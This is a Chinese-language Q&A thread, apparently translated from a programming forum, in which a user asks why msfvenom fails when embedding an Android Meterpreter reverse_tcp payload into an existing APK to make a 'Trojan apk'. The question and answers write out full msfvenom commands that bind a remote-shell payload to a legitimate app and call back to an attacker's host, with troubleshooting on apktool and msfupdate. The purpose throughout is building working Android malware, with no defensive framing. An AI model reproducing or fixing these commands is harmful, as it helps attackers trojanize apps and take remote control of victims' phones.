我正在尝试使用metasploit为Android创建一个Trojan apk,这是我正在使用的命令:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
我收到了这个错误:
Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user123 tty7 :0 09:32 1:23m 1:10 0.13s /sbin/upstart --user
2.0.2-dirty
然后我尝试选择不同的架构,例如的java:
msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
它起作用了(生成了一些Out.apk)。所以看起来Malformed version number string
错误只会在选择dalvik作为架构时发生,任何想法为什么会发生这种情况以及如何解决它?
我在VirtualBox上的Ubuntu上做这个,它是从Mac运行的。任何帮助将不胜感激,谢谢!
答案 0 :(得分:0)
致记:
https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/
有同样的问题,但我试图运行一个更简单的代码版本(显然可行)。在论坛中搜索后,原来是apktool的问题。我使用sudo apt-get install apktool
下载了apktool,但该版本无法正常工作。
使用sudo apt-get remove apktool
删除后,我从网站上下载了最新版本,但它确实有效。
我知道这是一年,但我一直在寻找好几天。希望它有所帮助......某人。
答案 1 :(得分:0)
我和msfvenom有同样的问题。尝试运行“msfupdate”,它将下载70 mib包,它将解决您的问题。
答案 2 :(得分:0)
您只需要遵循以下语法:
rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk
同样,如果您使用-o也不需要'R'